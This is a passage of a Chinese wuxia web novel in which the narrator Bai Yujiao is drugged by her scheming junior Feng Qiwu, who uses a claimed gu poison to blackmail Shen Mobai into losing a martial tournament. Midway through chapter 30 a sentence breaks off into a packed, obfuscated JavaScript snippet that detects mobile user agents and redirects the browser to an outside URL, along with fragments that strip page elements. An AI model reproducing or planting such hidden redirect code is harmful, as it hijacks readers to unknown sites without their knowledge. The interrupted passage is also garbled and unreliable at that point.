我盯着他吮手指的动作,低声威胁了一句,“喂,那是我的早点,你只许吃一块!” 凤栖梧有点委屈地看着我,然后叹气道,“师姐,你还真是小气啊。” 于是,下一秒,漱口水又被我一口给吞进肚子里了。 “你、你你你……”我指着他的鼻尖,言语不能。 凤栖梧这孔雀男眨巴眨巴眼睛,看着我的表情特别无辜。 “你什么时候知道的?!” “师姐,你忘记我们是从小一起长大的么?你小时候长什么样子,我怎么会不记得?况且……我们不是一起睡了一夜么?” 睡了一夜?!是你把我点了穴让我像石头一样在床上躺了一夜吧?! 我一口气不顺,差点被他气死,“谁跟你睡了!再说,跟你睡了又怎样?!” 凤栖梧继续厚颜无耻装无辜,他用扇子掩着唇,低低笑了几声,“你知不知道自己的后颈有两颗痣?” 我下意识摸了一把自己的脖子,这事儿我倒还真是第一次听说…… 随即,我就猛然反应过来一件很重要的事,“这么说,你早就知道我是白玉蛟了?你是不是暗地里干了什么好事?” 凤栖梧的性格我了解得很。不仅骨子里是个妖孽,而且是个事儿精,比他老爹还唯恐天下不乱。他最拿手的就属煽动人心,挑起河蚌相争,自己渔翁得利。若是他这么早就知道了我的身份,知道镜花宫内部的动荡,搞不好…… “师姐,说起这件事,我的确有点对不起你。我坦白交代,是我劝说青城派和武当派,趁镜花宫危乱之际前去滋事的。不过,那是因为我知道师姐你现在一切安好,只要你在,谁能动的了镜花宫?我知道你肯定能够将他们一举歼灭。之前,师姐你不是一直苦于没有发难中原武林的借口么?我给你创造了这么好的时机,你不是应该谢谢我么?” 谢你?!我呸!你脸皮比城墙拐角还厚呢! 我冷笑了一声,吐了口漱口水,皮笑肉不笑道,“为了我?的确,你也许不会恶毒到想搞垮镜花宫,害死我,不过,你是想利用我来重创中原武林吧?他们这一败之后,你又煽动他们建立一个武林同盟来对抗我的威胁。而这个武林盟主之位,自然也就成了你的囊中之物。栖梧,凤师弟,小算盘打得不错啊?连我,你都敢设计?” 凤栖梧媚眼一挑,“我们毕竟是师出同门,师姐,你这胳膊肘可不能往外拐。” 哼。绕了一大圈总算说道重点上了。 我把脸埋进铜盆里,稀里糊涂洗了一把,然后又胡乱擦干净。 凤栖梧乖乖坐在桌子边,我一走过去,他就特别狗腿地拿起水壶帮我斟了一杯茶。 “师姐,喝水。”凤栖梧微微敛了下巴,浓密地睫毛扇啊扇啊,装出一副纯良无辜又可爱的表情。 我用眼角瞥他。 好你个凤栖梧,如意算盘本来打得很妙啊。只不过,计划赶不上变化,你千算万算,没算到半路杀出来个沈墨白。 这次武林同盟进攻镜花宫,凤栖梧并没有露面。 为什么? 第一,因为他料到武林同盟必败,去了也没意思。他为了防止镜花宫落败,甚至把自己的师傅“绝尘女”都给请出山了。我就说嘛,绝尘女理应躲在某个深山老林里逍遥快活,怎么会这么及时地赶回来?原来是有她的好徒弟凤栖梧通风报信。 第二,避嫌。毕竟凤栖梧在镜花宫中呆了不少年,加上他的师傅绝尘女也在场,万一对垒时出了什么岔子,他一生算计就全毁了。 然而,原本打算运筹帷幄于千里之外的凤栖梧,却被半道上蹦出来的沈墨白给捅了一刀。沈墨白的出现和意外的拔刀相助,使得沈墨白声名鹊起,一下子成为凤栖梧成为武林盟主的一块巨大绊脚石。 凤栖梧现在突然来找我,无非是想让我帮他把那个绊脚石给踢飞。 我心里明白,面子上揣着明白装糊涂。我冷哼了一声,拿起小笼包塞进嘴里,“你到底想干嘛?” “师姐,你只要帮我个小忙就可以。”凤栖梧眯起眼睛,狐狸一般地笑了。 一瞬间,我感觉到事情不妙。 我眼前猛的花了一下。我用力摇了摇脑袋,然而昏昏沉沉的感觉更加严重。 我擦!凤栖梧!你这个小人!我说他干嘛要动我的早餐……竟然是…… “你、你个贱人……你下药?!” “对不住了,师姐。” “轰”地一声。 我眼前一黑,一头栽倒在地上。 30. 女主你迟钝了有木有! 我不知道凤栖梧这混蛋给我下得什么药。 我只能说,这神药,见效快,药效强,我估计放倒一头熊都不成问题。 但是,我是谁?我是白玉蛟啊,要是下药对我有用,我早死去活来不知道多少次了!想随随便便用蒙汗药解决我?这未免也太坑爹不偿命了吧?!长期以来,本座与各种暗杀、谋害作斗争的经历,锻炼了我坚强的意志品质外加身体素质!现在,我对大部分的药物已经有很强的抵抗力了。 当凤栖梧扛着我,推门走出房间的时候,我奇迹般地醒了,豁然张开眼睛。大致估算了一下,我昏了不到十秒。只是刚才倒地的那一下不小心撞到了脑袋,磕得我这会儿仍觉得整颗脑袋生疼。话说,刚才我有磕那么重么?难道是凤栖梧趁我昏迷不醒的时候又刚烈地按着我的脑袋在地上撞了一百下来泄愤?…… 凤栖梧一脚踏出房门,我一打眼就看到客栈的走廊上横七竖八躺着一地人,似乎他们都是沈墨白安排的护卫。他们倒在地上千姿百态,不是口吐白沫就是全身抽搐。看样子,凤栖梧为了走进这房间,还真是费了一番功夫。 我一边想,一边软绵绵趴在凤栖梧肩膀上装死。 忽然凤栖梧的步子戛然停住了。 空气凝滞了一瞬间。 “沈墨白?”凤栖梧先开了口,不过他的语气里,似乎也没有多少惊讶。 沈墨白这人,真的非常难以捉摸。 我永远都摸不清他到底在想些什么,甚至连他的身份底细也没摸清。平日里看似没心没肺?其实这老狐狸比谁都更精于算计。果不其然。凤栖梧这次貌似是被算计了。凤栖梧曾经劫走过我一次。上次,沈墨白因为毫无防备而着了道,而这一次,沈墨白明知道凤栖梧会对我下手,哪能那么容易就让他得逞? “呦,这不是凤公子么?你这不请自来,是想把我的人带到哪儿去啊?或者说……凤栖梧,你怎么连自家的师姐都不放过?” 我闭着眼睛,都能想象到沈墨白说这话时,脸上那种似笑非笑和居高临下的神态。 这混蛋,刚才竟躲在外头偷听我们说话。 凤栖梧沉默了一会儿。忽然,他低下头轻轻笑了一声。这一声笑得相当诡异,那是变态之中透着变态,笑地我全身一阵酥麻,汗毛直立。 紧接着,凤栖梧非常不人道地,一下子把我像个麻袋一样重重扔在了地上。 姓凤的!我招你惹你了?!你就不能换个东西出气么!当我是沙包啊?!我暗骂,继续装死。 凤栖梧“唰”地一声甩开扇子,眯起眼睛,冷冰冰地微笑道,“沈墨白,你还真是不简单呐。我故意指使青城派掌门今日邀你,把你支开。却没想到你竟然能看破是我设的局?而且还反设了局,套了我的话。佩服,在下实在是佩服。” 沈墨白无所谓得哼笑一声,似乎是不屑跟凤栖梧争辩。 “你少耍这种无聊的手段,我没闲工夫陪你玩。如果不想让我把你师出镜花宫的事说出去,就快点滚。”沈墨白一字一句冷冷说完,然后便抱着手臂靠到墙边,扬了扬下巴,示意凤栖梧赶快滚蛋。 凤栖梧慢慢摇了摇头,叹了口气。 “哎,你觉得,我是镜花宫出身这件事让你知道了,我还会放过你么?” 沈墨白微微簇眉,嘴角却扬起,笑得非常邪气,“怎么?凤大侠,你是想怎样不放过我?” 凤栖梧“唰”得一声阖上扇子,“我的确是打不过你,当然,我现在也不打算跟你打。说到比武,在下还真是佩服白公子你,入江湖不过短短一个月,竟然能够左右江湖门派掌门们的意见,让他们决定这次武林盟主之人选,由擂台比武来决定。听说,这个决定,还是那个素来低调的玉宇琼楼强烈支持的。天下人都知道你是敌得过白玉蛟的人,这不是明摆着把教主之位双手奉与你么?” 我心下了然。难怪凤栖梧会这么愤怒,甚至不惜铤而走险。原来,武林同盟最后竟然决定由比武决出武林盟主么?凤栖梧虽然轻功很强,但武功算不上顶级,这摆明了是不想让他当盟主。 我躺在地上,偷偷瞟了一眼凤栖梧的表情。 凤栖梧在笑!只是笑得额角暴青筋,狰狞得要死。 看来,这家伙已经快被这事儿给气疯了。 沈墨白特别淡定地耸了耸肩,“这是诸位前辈做出的决定,我这个晚辈无权过问。” “你少装蒜。” “随你怎么想。” “哼,”凤栖梧忽然收敛了怒意。他歪了歪头,挑起眉梢,露出一个很奸邪至极的表情,“你一直拐带着我师姐东奔西走,你到底打的是什么算盘?你是想利用她?还是……你喜欢她?” 要不是因为我正在兢兢业业地装死,我现在一定会跳起来,给凤栖梧一记回旋踢。 这小子是不是做梦没醒就出来梦游啊?!胡诌八扯什么啊!我这个师姐真替他难为情! 果不其然,沈墨白笑了。 他用很夸张的语气“啊”了一声,讽刺笑道,“哈,凤栖梧,你脑子是不是被气糊涂了?” 凤栖梧没被沈墨白的讽刺给激怒。“沈墨白,你虽然聪明,不过,你似乎也过分自信了一点……你以为我这次来是想做什么?劫走白玉蛟么?不好意思,你会错意了,” 凤栖梧忽然冷笑了一声,很不正常地转移了话题,“你知不知道南疆‘五毒教’有一种蛊叫做‘千丝缠’?把蛊从嘴巴里喂进去,蛊虫便会从咽喉钻入寄生着的脑子里。十日之内让寄生着神志不清,十五日让寄生着癫狂成疯,二十日,就再也不会醒过来。” 我隐隐感到一股不详的预感。蛊这个东西中原很少见,我也不是太了解。但是,“千丝缠”这种蛊,我很久之前见过一次。镜花宫与五毒教一直都是恶交,关系恶劣。不过还好一个在南疆,一个在蜀中,不经常碰面。几年前,镜花宫和五毒教曾经大干过一次架,结果我们折损的非常惨烈。我有一个最得力部下最后就是死在这种蛊下的。死前我一直在他身边,那时他非常痛苦,一直在疯狂地撕扯自己的头皮,死得时候,整张脸已经毁得面目全非。 所以,我至今仍然对那邪恶玩意儿记忆犹新。 沈墨白皱眉。他冷冷瞪着凤栖梧,忽然,把目光转向了躺在地上的我。 凤栖梧立即右手拿着扇子,在左手掌心敲了一下,笑道,“沈墨白,你还真是聪明。没错啊,我刚才给白玉蛟喂了这种蛊。” 凤栖梧说着,弯下腰来,一下子抓着我的脸,把我从地上给捏起来。 结果,我的后背刚刚被提着离开地面,就感觉到自己的鼻腔忽然一热…… 竟然流鼻血了! 随即,我感觉到耳朵、眼眶、喉咙都很异样……源源不断的热流从各处流了出来!这是……这是传说中的七孔流血啊! 凤栖梧一下子放开了手,我又重重摔回地面上,“看到没有,这就是中了‘千丝缠’的征兆。” 我躺在地上一时间动弹不得。 喂喂,凤栖梧……我昏迷的那十秒你到底对我干了什么啊!你是不是恶毒过分了啊!你以为我说不杀你,你便能如此胡作非为了?!你给我等着……这次我不把你菊花变牡丹花我就不姓白…… 怒虽怒,我还是决定继续装死,静观其变。毕竟我现在这幅小鬼的样子,也不能拿凤栖梧怎么样。 沈墨白沉默了一会儿,忽然笑了。 “凤栖梧,我看你真的疯了吧?你这是想要挟我?用白玉蛟来要挟我?她可是你师姐啊,又不是我什么人。” 凤栖梧不怒反笑,“沈墨白,你用不着装模作样。你蒙的了别人,蒙不了我。当日在蜀中,我师姐竟然肯在剑阁一战中故意让你,你们关系定然不一般!白玉蛟的性子我清楚地很,她这人高傲至极,要知道,她这辈子,都从来没败过。”凤栖梧刚说完,便忽然想起来什么,笑着改口道,“啊……不,更正一下,说起来,她也曾经败给我了一次。” 沈墨白:“……” 我:“……” 我躺在地上,心情与沈墨白是一样的无语。 “你知道,狠事,我是做的出来的。” 凤栖梧眯起眼睛。微挑丹凤眼眯起来的样子,如同只偷腥的猫,慵懒而又坏到了家。“白玉蛟对我来说,不过只是一块供我踩的垫脚石罢了。什么同门师姐师弟的?这种无聊的游戏,我可没闲工夫玩。” 沈墨白默不作声,微微敛紧了眉头。 凤栖梧耸了耸肩,笑着轻轻叹息了一声,“其实呢,如果可以,我也不想把白玉蛟的命搭进去。就算是个猫猫狗狗,呆在一起时间久了,也会产生点感情,舍不得弄死的。只可惜啊,白玉蛟竟然会帮你,而妨碍了我。我是走投无路才出此下策。谁叫沈墨白,沈大侠你身上,连个弱点都找不到?” 他说完,竟然一脚跨过我的“尸体”,径直就向着沈墨白走了过去。 “我不太清楚你是什么样的人,也没自信你会为了白玉蛟这种人而做出牺牲。你不被要挟也无妨,尽管看着她一天天变成个疯子吧。过程,应该会很有趣的……”末了,凤栖梧略略勾起嘴角,笑得无比阴森。 我一动不动躺在地上,忽然觉得脊背发冷。 有一瞬间,耳朵似乎都听不清他们在讲什么。 沈墨白斜靠着墙壁,抱着手臂盯着凤栖梧一步步走过去。 昏暗的走廊里,他的眼睛在阴暗的光线中显得格外清亮,散发着一种如同冰雪的寒冷气息。就在两人即将擦身而过的瞬间,沈墨白突然抬起一只手,挡住了凤栖梧的去路。 “你到底想怎样?”沈墨白冷冰冰的开口。 不过,这语气已经与刚才的气势完全不同了。此刻,他整个人散发着一股极其危险的气息,如同雪原上饥寒交迫被逼入绝境的狼。 凤栖梧站定,他与沈墨白之间,不过是一尺的距离。 两人在昏暗的光线中对视,气氛紧绷到了极致。 末了,凤栖梧露出了嘲讽的笑容。这种笑容很古怪,这个游戏明明是他赢了,但是他看上去似乎并不是那么开心。 “很简单,你败在擂台上即可。”凤栖梧说完,指尖从袖口里拿出一个小瓶子丢给沈墨白,“这个是抑功散,你应该认得。我只要抑制你内功十日,十日之后即可恢复。这瓶药吃下去,‘千丝缠’的解药在瓶底。” 沈墨白接过瓶子,在手中把玩了一会儿,“你费那么大的功夫,只这么点要求?” “你若是死了,我也会很麻烦的。”凤栖梧扯了扯嘴角。 沈墨白拔开瓶塞,微微尝了一点之后,一仰头,竟然毫不犹豫地把一整瓶都喝下去了。 最后,他吐出一粒黑色的小药丸。 捏在指间看了一眼,沈墨白扬了扬眉,玩味道,“还真是解药啊。” 凤栖梧笑了,笑的特别人畜无害,“算你识货。其实,我也不是那么卑鄙的人,”他笑完了,忽然用眼角瞄了我一眼,轻声道,“沈兄,你不会把这件事告诉师姐吧?” 这声沈兄叫得我头皮发麻。 沈墨白看了他一眼。随即,像什么事都没有似的悠然转身,背对着凤栖梧走向我,“不会,你师姐她……还挺喜欢你的。” 凤栖梧露出了讶异的表情。他沉默了一瞬间,冷笑,“你这是想让我感到内疚么?” 沈墨白把解药塞进我嘴巴里,然后把我从地上抱起来,向着房间走去。他走进房间的一刹那,回头用眼角瞥了一眼凤栖梧,露出了一个不屑的微笑。 “对付你,即使不用内功,也绰绰有余了。” 凤栖梧脸色阴沉了一下,随即冷冷反击道,“沈墨白,你以为你为了师姐做这些,她便会爱上你么?别自作多情了,你死心吧,从头到尾,我师姐心中只有她师傅冷将息一人。” 沈墨白迈进房间的脚步停顿了瞬间,随即狠狠踢上了门。 我被沈墨白放回床上,床褥的余温仍旧没有散去,躺在温暖的被子里,但是我却感觉到全身发冷。 忽然,我感觉到脸上一凉。我明白过来,是沈墨白在用沾湿的毛巾替我抹掉脸上的血迹。 啊,对了,我刚才七孔流血来着,这张脸现在肯定是一塌糊涂不堪入目吧。 沈墨白擦得轻手轻脚的,似乎是怕把我惊醒了。我保持着均匀的呼吸,一丝不苟地装晕。我现在除了装晕,不知道还能做什么。若是此刻醒过来,必然是尴尬无比。我也实在没想好,此时此刻该用什么样的态度去面对沈墨白。 凤栖梧这样对我,其实我也没什么好吃惊的。对于一个像我这样的人来说,身边没有人是值得信赖的。被属下和亲信背叛这种事,我碰到地太多,早就见怪不怪。下毒,暗杀,围攻,无所不用其极,什么卑鄙无耻的手段我都见识过。 我身边的人里头,凤栖梧这小子算是个异类。他不怕我,反倒是没事儿就喜欢撩拨我,似乎看我生气惹恼我是件有趣的事一般。我也一直把他当成小孩子,从没认真跟他计较过。只是这次,他玩得,太过。 凤栖梧没令我吃惊,反倒是那个沈墨白,真让我惊得不轻。 照理说……我们关系是没有好到他能为了我而做出牺牲的程度吧?莫非他又在暗自打什么小算盘?想借此挑唆我跟凤栖梧闹崩? 我躺在床上不安地腹诽,忽然听到身边的人,压抑不住似的低低咳嗽了几声。 沈墨白忽然起身走开,我偷偷睁开了一点眼睛,却看到他背对着我,一只手扶着桌子,一只手捂着嘴巴。指缝间,隐隐沾染着非常刺目的嫣红色液体。 那一瞬间。我有一种非常奇怪的感觉。仿佛是胸口被什么沉重的东西给狠狠压住了,我轻轻抽了一口气,却觉得呼吸困难。 我有些迷惑,胸口这盘桓不绝的窒息感是什么?下蛊后的病症? ···沈墨白吐血之后旋即离开了房间。我有点不放心,但是又不好跟出去,只能坐立不安地在房间里等着。傍晚的时候,沈墨白才出现。他大大咧咧晃悠回来,一脸没事儿人似的,嘴里哼着小曲儿,手里还提着两笼梅干菜馅儿的大包子外加一壶青梅酒。 他一进门我就从桌子边蹦起来,瞪俩大眼睛冲他吼,“喂!小子你失踪一整天了!干嘛去了!” 沈墨白被我吼得愣了一秒,随即露出一个打着怪蜀黍标签的色迷迷微笑,“怎么,小妮子你想我了?” 我连翻三个白眼,“去你的!白天凤栖梧来了!我差点又被他给绑架了!” 我既然是装晕,就得装到底。现在也得装得一副毫不知情的样子,想办法摸摸沈墨白到底是打的什么算盘。 其实呢,我这人虽然是个大奸大恶之徒,但真的不怎么会撒谎。毕竟在此活了二十年,我一直都处于唯我独尊胡作非为的状态。我说一没人敢说二,我指东没人敢打西,我用不着撒谎来玩弄权谋。若我看不惯谁,就冲上去干净利落一刀把丫劈了,废话也不多说一句。我更用不着撒谎来顾及别人的情绪,看不惯谁我向来直说,反正所有人都已经很讨厌我了,也不怕更多拉些仇恨。 沈墨白也瞪大了眼睛,装出一副非常讶异的表情,“是么?他来干嘛?” 这家伙倒是很会装模作样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349866|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个吃惊和不屑的感觉拿捏得恰到好处。 我顿时有点迷惑。沈墨白难道不是想用这件事来挑唆我去把凤栖梧给虐得死去活来么?为何现在只字不提?他到底在打什么算盘? 我耸了一下肩,“我怎么知道他想干嘛,那家伙莫名其妙的,跟我说了一圈儿废话之后就走了,走之前还给我下了个强力蒙汗药。”我顿了一下,暗示道,“我说,你最近是不是做了什么缺德事儿,把凤栖梧惹恼了啊?凤栖梧那家伙可是个超级无敌记仇的小心眼,小心他使手段对付你。对付你也就算了,要是连累上了我,我可不会放过你的。” 沈墨白把包子放在桌子上,沉默了整整三秒钟。 然后,在我期待的目光下,他忽然一抬头,一撩额角垂下来的缕长发,咬着下嘴唇露出一个万分柔弱的表情,“啊,说起来,今天我买包子的时候,那个卖包子的老板硬说我给他的银子是假的!我说是真的,让他不信咬咬看,谁知道他用镶了的金牙把我的银子给咬碎了,然后还抄扁担来打我!你看你看,我手背都被他打青了!你说,这家伙会不会是凤栖梧收买来谋害我的啊?” 我语塞了一秒钟,随即产生一种,拽过他的衣领,然后左右开弓抽他一百大嘴巴的冲动。 沈墨白俩眼睛瞪那么大,还眨巴眨巴的,究竟是想干嘛啊?!你撒什么娇啊!叔叔你那么大一把年纪还装可爱你不觉得可耻么! 我沉默了一瞬间之后,忽然一个箭步窜上桌子,把沈墨白都快塞到嘴里的包子给抢过来,塞进嘴巴里狠狠咬了一口。 然后皱着眉头装出很严肃认真的表情,边咀嚼着包子,边含糊不清道,“我也觉得耶!你说那个卖包子的不是很可疑嘛?一个卖包子的竟然能打得到一个可以和白玉蛟对招的武林高手耶!那家伙卖的肯定不是包子,是寂寞!这包子八成有毒,你快别吃了!” 沈墨白立即倒抽一口气,两只手握住我的手,紧接着又把我手里的包子给抢回去了!而且还咬了一大口!肉馅儿都被咬掉了四分之三! 沈墨白抱着包子,双眼含情脉脉,喃喃道,“小白,既然知道有毒,为什么你还要吃呢?你这又是何苦呢?万一真的有毒,我怎么能扔下你不管?你要是中毒我也陪你中毒,我们生不能同日,但求死则同穴……” 我嘴角抽搐。本座心情好陪你演一出,你还就演上瘾了啊?等一会儿莫不是“山无棱天地合”也要念出来了啊? 我被沈墨白的深情表白给深深地恶心到了,打了个寒颤,无比嫌弃得推了他一把,“沈墨白,我看你现在已然中毒已深,脑袋都不正常了,你还是赶紧洗洗干净躺床上安详地去等死吧!哼。”我说完,扭过头,背对着他坐在桌子上不理他了。 沈墨白叼着个包子,两步晃悠到床边,一下子仰倒在床上,期期艾艾地悲叹,“你还真是绝情啊,就这么希望我快点死掉吗?” 按照我的性子,被这样问了,我肯定会说:是啊是啊,天涯有多远,你就死多远吧。 但是这次,话到嘴边,即便是玩笑话,我也没能说出口。 我看着他,有点无奈地轻轻吐了口气。 为什么说不出口呢?因为…… 决不是因为我心疼他!而是因为欺负一个内力全无的人,不是我白玉蛟的作风! 我咳嗽了一声清清嗓子,“沈墨白,有些事情我已经知道了,你别给我装傻。” 沈墨白忽然转过眼睛盯着我,那目光冷静而犀利,一瞬间,我被他那眼神盯得心脏猛跳一拍。 “你知道什么了?” 我故作淡定,一抬下巴,居高临下道,“我……已经知道你用了某些见不得人的手段,劝服武林同盟以召开擂台赛的方式决出武林盟主,而这个擂台赛不久就将召开。你小子挺有手段的嘛,秃驴道士老尼姑都搞的定。” 沈墨白目光在我脸上停了一秒,随即摇了摇头,扬眉一笑,“就这事儿啊?这事儿好多天之前就已经决定了。怎么了?” 我无语了一瞬间。 喂喂,沈墨白,你是真的不打算把自己被胁迫了的事告诉我? 你倒是很会装啊?装成个坏人你很有成就感是吧?跟我坦白会死啊!我白玉蛟就这么不值得你信任吗?!我本来以为我们好歹,还能,呃,稍微算得上一点儿朋友呢……哼,我叫你装! 我抬起眼皮,犀利瞪了他一眼,冷笑,“这次说是公开推选武林盟主,不少门派也推举了自己的候选人来夺取这个位子。不过,能得到这个位子,最有可能的只有两个人——一个是你,一个是凤栖梧。凤栖梧在江湖中资历比你老,人脉比你广,若不是因为他爹的背景,他比你要更合适这个位置。我本以为你们会斗智斗勇,拼个你死我活,一争高下,但是嘛……现在竟然是要打擂台,这么看来,凤栖梧是铁定赢不了你了。你,这不是摆明了欺负人嘛。” 沈墨白听完,微微敛了下巴,冷冷弯了弯嘴角,“你知道得挺多嘛,不愧是白教主,这幅样子消息都这么灵通。” 我翻了个白眼,“哼。” 沈墨白从床上半躺起来,侧身用一只手撑着额角。他这姿势躺得撩人,表情也相得益彰。嘴角漾起的那一抹浅笑,极其勾人。 “怎么了?你还心疼凤栖梧了?” 我坐在桌着上,扭过头去看他,也勾起嘴角,笑得特别阴险,“是呀。是又怎么样?我告诉你,我可是一直都很中意凤栖梧的,人长得美,性子又温驯,比你强多了。我就是喜欢他,就是看不惯你欺负他。” 沈墨白定定看了我几秒,然后忽然用手支着额头,低头笑了。我在那个笑容之中,看到了几分苍白,几分无奈,几分释然。但是那个笑容消逝地极快,让我几乎以为是我自己的错觉。 “那你去找他啊。” 沈墨白说着,忽然从床上起身,走到墙角拿起仍在椅子上的包袱,然后往里面胡乱塞了一把银子进去,猛地往我身上一丢,“你走吧。” 他说这话的时候,依旧是微笑的表情。 我被包袱砸得向后退了一步,硬邦邦的银子砸在胸口,真有几分钝钝的痛。 我恼了,又一步踏回去,怒道,“沈墨白你闹什么!” “没什么,你喜欢凤栖梧就去找他吧。”沈墨白的表情忽然变得很冷,语气也变得极其疏离,让我觉得很陌生,这似乎是第一次用这样的语气带着这样的神态对我说话。他丝毫不犹豫地拽着我的胳膊,把我用力往外推。我其实没想到事情会发展到这一步。我只不过想激沈墨白一下,逼他说出实话。谁知道这家伙这么奇怪,竟然要把我赶走! 我知道凤栖梧给他吃的那个东西,不仅压制内力,也会造成一定的内伤。武林擂台赛即将开始,沈墨白这种状况,别说是凤栖梧了,搞不好连个普通菜鸟也打不过。他这是想闹哪出?! 沈墨白真的用起力气来,我当然推拒不动,三两下就被他给哄到门外去了,跌跌撞撞,差点在门槛绊倒。 “你走吧。”沈墨白说完,毫不犹豫转身,“嘭”得一声把门给用力甩上了。 门扇起来的风吹在我脸上,吹得我额角散落的发丝飞飞扬扬。 我站在大门口,被关门声震得耳膜发疼。 我用力闭上眼睛,三秒钟之后,猛然张开,用尽全身力气大吼一声,“去死吧!沈墨白!你个笨蛋!”然后凶猛得踹了门一脚,大踏步转身走了。 敢赶我走?!吃了雄心豹子胆了啊!不知道好歹!我走到楼梯口,又回头瞪着那紧闭的个门,足足瞪了三秒,丝毫没有动静。沈墨白貌似真的没有追出来的打算…… 31. COSPLAY 这次金陵召开武林大会,距离上一次的武林大会已经时隔了十多年之久,所以这一次的武林大会办的那叫别开生面,穷极地盛大恢弘。武林大会召开前的半个月,整个金陵城的客栈已经人满为患。西城之内,聚满了各色的武林人士。来自大江南北各门各派的人都有,每个门派都穿着各自独特的制服,成群结队地招摇过市。除此之外,新出江湖的菜鸟也尤其得多,都想借此机会来长长见识,顺便跟其他的菜鸟们联络一下感情,以便日后闯荡江湖的时候能够相互照应。 这就是所谓的人在江湖飘,哪能不寂寞,在家靠嫂子,在外靠哥们儿。 金陵的西城是武林人士的聚集之地,但是,这次武林擂台却是搭建在南城。南城本来是金陵城主的府邸,简单来说就是官府的地盘儿。不过,这次皇城为了表示对武林这次盛会的支持,特此将命令金陵城主把政府整个迁到东城区去了,留下了原本官府的府邸给武林同盟作为大本营使用。就这样,金陵城的一半儿都划归为武林的地盘,金陵更加成为武林重地。 在擂台边上,最近开了一座非常宏伟的名为“剑香阁”的茶楼。 这茶楼高有四层,雕梁画栋,屋角飞扬。悬挂在茶楼大门当心间檐下的匾额上,提着龙飞凤舞地二字“剑香”。挂在当心间檐柱及金柱的楹联,左右各书“剑佩声随玉墀步,衣冠自惹御炉香。”据说,这幅字是出自传说中神秘的“玉宇琼楼”的主子之手。这玉宇琼楼的主子自从主事儿之后,从未在江湖中以真颜露面,人越是搞神秘,越是想低调,反而舆论就越会为他造出各种谣言和传说,所以,这琼楼玉宇的主子虽然资历比不上那些个得道高僧和齐天大剩老尼姑,但是他这幅字的重量可是要超越了那两位前辈。 这座“剑香阁”是曾经的官府藏书楼改建的。茶楼此任老板据说是江南第一大妓馆“千宜阁”。传说,为了争抢这块地,不少富商大户大得头破血流。然而那“千宜阁”的老板苏小小只是跟金陵城主吃了一顿饭,就不费吹灰之力地得到了那块地。自古,美色都是万恶之源,苏小小为江湖第一美人,也难怪金陵城会败走在她的杨柳腰下。 “剑香阁”还没开业,就已经事先包给了各大门派。目前,这茶楼四周都是被人高马大的护卫给严密地隔离起来,普通人根本难以接近其三丈之内。近日来,人们经常能看见江湖中最有名头的人物出现在茶楼内,峨眉的师太,少林的高僧,武当的老道士,青城派的土鳖,唐门的龟孙,可谓济济一堂。于是,在武林大会开始之前,老百姓们和一些无聊的武林人士就喜欢聚在“剑香阁”外头,瞻仰一下和点评一下传说中的武林高人的“音容笑貌”。 这“剑香阁”四层楼是观战的极佳位置,遮风挡雨另有香茗美食,于是早早被各个武林门派给预定了个满。不过呢,直到武林大会开始,“剑香楼”三层靠窗,正对着擂台,角度最好的一个位置,却始终是空着的。这个空着的位置,在挤得满满当当的茶楼内,显得多少有些扎眼,引得人们议论纷纷。不过,不管别人怎么拐弯抹角的询问苏小小,这位苏老板都只是眨眨那双桃花眼,为难地摇摇头,缄默不言。 有人猜测,这位置是留给苏小小的新相好的,有人猜测是留给玉宇琼楼的主子的,甚至有人猜测这位置是魔教教主白玉蛟事先点中的。不过这些也都只是猜测而已,只有等到那位置的主人出现,答案才能够揭晓。 武林大会开赛的第五天,正是腊月十五。 那一日,经过前一日下了一夜的雪,第二天一早,一切都蒙上一层白蒙蒙毛茸茸的雪边。因为下来了雪,商铺们开门都比平日要完了些时辰,各自忙着扫清门前的积雪。平日里路边卖些早茶点心的走卒贩夫也都没有出来摆摊,估计是估摸着这天太冷,也不会有什么客人。只有些许小孩子,一早就吵吵闹闹地在雪地里跑起来,你追我打地,蹦跶地无比欢快。 这天,峨眉派的杜青娥起得特别早。杜青娥是个心思细腻,特会伤春悲秋的姑娘,金陵的雪景难得一遇,她一大早就特别激动地打着把油纸伞徒步出门了,漫步在寂静无人的小街上,在空旷无垠的雪地上留下一个人长长的足迹。不过不巧的是,峨眉派住的客栈距离茶馆也就一百米的距离,于是,走了没几步之后,杜姑娘她就无路可走了。 杜青娥本以为自己是第一个到达茶馆的,然而,一上楼她就愣住了。因为,在“剑香阁”那张万年空着的桌子边,这一日,竟然坐了一个裹着一领雪白狐裘,带着莲花白玉冠,脸上罩着白色面纱的公子。而那公子的背后,站着一个一身黑衣,戴黑色斗笠的护卫。两人一黑一白,公子气质娴雅,护卫默然安静,他们背后是金陵茫茫的雪景,这样看去如真似幻,二人简直就不似人间之客。 杜青娥愣了三秒,她犹豫了一下,终于好奇心战胜了犹豫,走了过去。 “在下峨眉派杜青娥,这位公子面生地很,不知这位公子怎么称呼?”杜青娥走上来对我抱了一下拳,声音清脆,响在空落落的雪地中,倒有几分悦耳。 我从白狐裘里伸出一只手,拿起泡着白茶的杯子,然后吹了吹杯子中袅袅升起的热气,半撩起面纱,放到嘴边浅浅抿了一口。漫不经心道,“今年的金陵倒是挺冷的,都下雪了呢。本座已经很多年没在金陵看到过雪景了……今儿还真是来巧了。” 我知道杜青娥在看到我撩起面纱的那一瞬间已经看到了我的脸,因为本座是故意而为之。 杜青娥的脸色瞬间变得煞白,不由自主向后退了两步,一步撞在一把椅子上,差点没摔个跟头。。 看来本座上次在剑阁是给她留下了极大的心理阴影,至今都视我为洪水猛兽避之不及。 我放下茶杯,轻轻笑了一声,“你别怕,我呢,这次就是来看热闹的,不想闹出什么乱子。杜姑娘,如果你也不想这次武林大会变成一个彻彻底底的大悲剧的话,就麻烦你帮我打个掩护吧。”我说完,还特别友善地抬起头,对她露出了一个微笑。 顿时,杜青娥又向后退了两步。她脸上毫不掩饰露出了天人交战的表情。 帮她?是助纣为虐?不帮她?会酿成大祸! 